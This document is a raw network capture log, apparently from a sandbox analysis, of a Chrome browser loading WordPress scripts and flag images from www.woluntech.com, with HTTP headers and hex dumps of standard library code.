2025-01-15 02:37:14 UTC	242	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 64 6f 20 32 39 20 64 65 63 20 32 30 30 35 20 30 32 3a 33 33 3a 35 32 20 2b 30 31 30 30 06 4a 42 63 00 00 00 07 74 49 4d 45 07 d5 0c 1d 01 27 17 b1 70 18 ea 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 4a 49 44 41 54 78 da bd d0 c1 0e 00 10 0c 03 d0 11 e1 ff 7f d2 61 ec 1b 4a 10 67 eb 41 6f 3d bc 2c 5d 80 30 89 84 01 c7 3a c1 8c 63 fc b6 99 24 70 fe b2 56 69 cd 7f ad 14 c9 f9 d7 b6 be 92 6e 37 b3 47 73 18 80 5d 1e 99 aa 0e a6 6f 2c 01 f2 8e 25 46 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timedo 29 dec 2005 02:33:52 +0100JBctIME'ppHYs~gAMAaJIDATxaJgAo=,]0:c$pVin7Gs]o,%FIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49844	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	752	OUT	GET /wp-includes/js/wp-util.min.js?ver=6.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: application/javascript Content-Length: 1340 Last-Modified: Mon, 28 Feb 2022 09:02:21 GMT Connection: close Vary: Accept-Encoding ETag: "621c8f9d-53c" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	1340	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 77 69 6e 64 6f 77 2e 77 70 3d 77 69 6e 64 6f 77 2e 77 70 7c 7c 7b 7d 2c 66 75 6e 63 74 69 6f 6e 28 73 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3f 7b 7d 3a 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3b 77 70 2e 74 65 6d 70 6c 61 74 65 3d 5f 2e 6d 65 6d 6f 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 61 2c 6e 3d 7b 65 76 61 6c 75 61 74 65 3a 2f 3c 23 28 5b 5c 73 5c 53 5d 2b 3f 29 23 3e 2f 67 2c 69 6e 74 65 72 70 6f 6c 61 74 65 3a 2f 5c 7b 5c 7b 5c 7b 28 5b 5c 73 5c 53 5d 2b 3f 29 5c 7d 5c 7d 5c 7d 2f 67 2c 65 73 63 61 70 65 3a 2f 5c 7b 5c 7b 28 5b 5e Data Ascii: /! This file is auto-generated /window.wp=window.wp\|\|{},function(s){var t="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(e){var a,n={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49846	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	805	OUT	GET /wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.min.js?ver=1.7.5.5 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	402	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: application/javascript Content-Length: 754 Last-Modified: Thu, 04 Aug 2022 07:37:52 GMT Connection: close ETag: "62eb7750-2f2" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	754	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 3d 77 69 6e 64 6f 77 2e 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 72 29 7b 76 61 72 20 74 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 65 76 65 6e 74 73 28 29 7d 2c 65 76 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 6f 29 2e 6f 6e 28 22 65 6c 65 6d 65 6e 74 6f 72 2f 70 6f 70 75 70 2f 73 68 6f 77 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6e 29 7b 6f 3d 72 28 22 23 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 70 75 70 2d 6d 6f 64 61 6c 2d 22 2b 6f 29 2e 66 69 6e 64 28 22 2e 77 70 66 6f 72 6d 73 2d 66 6f 72 6d 22 29 3b 6f 2e 6c 65 6e 67 74 68 26 26 74 Data Ascii: "use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.length&&t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49845	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:13 UTC	777	OUT	GET /wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: application/javascript Content-Length: 40477 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-9e1d" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 31 39 5d 2c 7b 39 32 32 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 6e 28 33 32 30 33 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 3d 69 28 6e 28 38 31 33 35 29 29 3b 63 6c 61 73 73 20 5f 64 65 66 61 75 6c 74 20 65 78 74 Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[819],{9220:(e,t,n)=>{"use strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(8135));class _default ext
2025-01-15 02:37:14 UTC	16384	IN	Data Raw: 79 70 65 3d 22 79 6f 75 74 75 62 65 22 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 3d 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 75 74 69 6c 73 2e 79 6f 75 74 75 62 65 29 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 29 65 3d 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 2e 67 65 74 56 69 64 65 6f 49 44 46 72 6f 6d 55 52 4c 28 74 29 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 2e 6f 6e 41 70 69 52 65 61 64 79 28 28 6e 3d 3e 7b 22 79 6f 75 74 75 62 65 22 3d 3d 3d 74 68 69 73 2e 76 69 64 65 6f 54 79 70 65 26 26 74 68 69 73 2e 70 72 65 70 61 72 65 59 54 56 69 64 65 6f 28 6e 2c 65 29 2c 22 76 69 6d 65 6f 22 3d 3d 3d 74 68 69 73 2e 76 69 64 65 6f 54 79 70 65 26 26 74 68 69 73 2e 70 72 65 70 61 72 65 56 69 6d 65 6f 56 69 64 65 6f Data Ascii: ype="youtube",this.apiProvider=elementorFrontend.utils.youtube),this.apiProvider)e=this.apiProvider.getVideoIDFromURL(t),this.apiProvider.onApiReady((n=>{"youtube"===this.videoType&&this.prepareYTVideo(n,e),"vimeo"===this.videoType&&this.prepareVimeoVideo
2025-01-15 02:37:14 UTC	8137	IN	Data Raw: 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 6e 28 33 32 30 33 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 3d 69 28 6e 28 34 37 37 33 29 29 3b 63 6c 61 73 73 20 59 6f 75 74 75 62 65 4c 6f 61 64 65 72 20 65 78 74 65 6e 64 73 20 73 2e 64 65 66 61 75 6c 74 7b 67 65 74 41 70 69 55 52 4c 28 29 7b 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 69 66 72 61 6d 65 5f 61 70 69 22 7d 67 65 74 55 52 4c 52 65 67 65 78 28 29 7b 72 65 74 75 72 6e 2f 5e 28 3f 3a 68 74 74 70 73 3f 3a 5c 2f 5c 2f 29 3f 28 3f 3a 77 77 77 5c 2e 29 3f 28 3f 3a 6d 5c 2e 29 Data Ascii: e strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(4773));class YoutubeLoader extends s.default{getApiURL(){return"https://www.youtube.com/iframe_api"}getURLRegex(){return/^(?:https?:\/\/)?(?:www\.)?(?:m\.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49847	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	790	OUT	GET /wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: application/javascript Content-Length: 24382 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-5f3e" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 33 37 5d 2c 7b 37 39 39 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3d 6e 28 33 32 30 33 29 2c 73 3d 6f 28 6e 28 34 30 34 32 29 29 2c 72 3d 6f 28 6e 28 38 35 32 38 29 29 2c 6c 3d 6f 28 6e 28 37 38 35 37 29 29 2c 61 3d 6f 28 6e 28 33 31 38 34 29 29 2c 64 3d 6f 28 6e 28 37 30 34 33 29 29 2c 69 3d 6f 28 6e 28 34 32 32 33 29 29 2c 75 3d 6f 28 6e 28 34 32 33 31 29 Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[437],{7996:(e,t,n)=>{var o=n(3203),s=o(n(4042)),r=o(n(8528)),l=o(n(7857)),a=o(n(3184)),d=o(n(7043)),i=o(n(4223)),u=o(n(4231)
2025-01-15 02:37:14 UTC	8426	IN	Data Raw: 65 29 2c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 74 72 69 67 67 65 72 73 3d 5b 5d 2c 74 68 69 73 2e 74 72 69 67 67 65 72 43 6c 61 73 73 65 73 3d 7b 70 61 67 65 5f 6c 6f 61 64 3a 73 2e 64 65 66 61 75 6c 74 2c 73 63 72 6f 6c 6c 69 6e 67 3a 72 2e 64 65 66 61 75 6c 74 2c 73 63 72 6f 6c 6c 69 6e 67 5f 74 6f 3a 6c 2e 64 65 66 61 75 6c 74 2c 63 6c 69 63 6b 3a 61 2e 64 65 66 61 75 6c 74 2c 69 6e 61 63 74 69 76 69 74 79 3a 64 2e 64 65 66 61 75 6c 74 2c 65 78 69 74 5f 69 6e 74 65 6e 74 3a 69 2e 64 65 66 61 75 6c 74 7d 2c 74 68 69 73 2e 72 75 6e 54 72 69 67 67 65 72 73 28 29 7d 72 75 6e 54 72 69 67 67 65 72 73 28 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 3b 6a 51 75 65 72 79 2e 65 61 63 68 28 74 68 69 Data Ascii: e),this.document=t,this.triggers=[],this.triggerClasses={page_load:s.default,scrolling:r.default,scrolling_to:l.default,click:a.default,inactivity:d.default,exit_intent:i.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49848	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	756	OUT	GET /wp-includes/js/underscore.min.js?ver=1.13.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: application/javascript Content-Length: 18911 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-49df" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	15956	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 76 61 72 20 74 2c 65 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 72 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 75 6e 64 65 72 73 63 6f 72 65 22 2c 72 29 3a 28 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 6e 7c 7c 73 65 6c 66 2c 74 3d 6e 2e 5f 2c 28 65 3d 6e 2e Data Ascii: /! This file is auto-generated /!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n.
2025-01-15 02:37:14 UTC	2955	IN	Data Raw: 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 6c 3d 21 31 3d 3d 3d 75 2e 6c 65 61 64 69 6e 67 3f 30 3a 4f 28 29 2c 6f 3d 6e 75 6c 6c 2c 63 3d 74 2e 61 70 70 6c 79 28 66 2c 61 29 2c 6f 7c 7c 28 66 3d 61 3d 6e 75 6c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 6e 3d 4f 28 29 2c 72 3d 28 6c 7c 7c 21 31 21 3d 3d 75 2e 6c 65 61 64 69 6e 67 7c 7c 28 6c 3d 6e 29 2c 65 2d 28 6e 2d 6c 29 29 3b 72 65 74 75 72 6e 20 66 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 2c 72 3c 3d 30 7c 7c 65 3c 72 3f 28 6f 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6f 3d 6e 75 6c 6c 29 2c 6c 3d 6e 2c 63 3d 74 2e 61 70 70 6c 79 28 66 2c 61 29 2c 6f 7c 7c 28 66 3d 61 3d 6e 75 6c 6c 29 29 3a 6f 7c 7c 21 31 3d 3d 3d 75 2e 74 72 61 69 6c 69 6e 67 7c 7c 28 6f Data Ascii: ){function i(){l=!1===u.leading?0:O(),o=null,c=t.apply(f,a),o\|\|(f=a=null)}function n(){var n=O(),r=(l\|\|!1!==u.leading\|\|(l=n),e-(n-l));return f=this,a=arguments,r<=0\|\|e<r?(o&&(clearTimeout(o),o=null),l=n,c=t.apply(f,a),o\|\|(f=a=null)):o\|\|!1===u.trailing\|\|(o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49849	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	1034	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 272 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-110" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:14 UTC	272	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 30 33 3a 33 33 20 2b 30 31 30 30 05 e0 3f 8c 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 0a 20 9e 0a e6 c6 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 68 49 44 41 54 78 da bd d0 3d 0e c0 20 08 05 e0 87 f1 14 de ff 32 bd 83 b3 f1 af 2e a4 43 27 6a a3 ee d8 a1 04 86 37 7c 21 40 82 2f 65 61 cc ae 11 11 ea b3 cb 4a 29 76 d7 c4 d8 55 26 e0 00 2e 20 a9 61 00 78 fb b0 51 ff b2 f9 c9 10 b4 c0 7b df 5a 9d 9f 74 4e cb 38 31 dd 6c 41 34 f2 a9 30 75 f5 bb 4d 56 50 b2 0c 3c 26 a5 2c Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:03:33 +0100?tIME pHYs~gAMAahIDATx= 2.C'j7\|!@/eaJ)vU&. axQ{ZtN81lA40uMVP<&,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49850	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:14 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:14 GMT Content-Type: image/png Content-Length: 266 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-10a" Expires: Thu, 15 Jan 2026 02:37:14 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
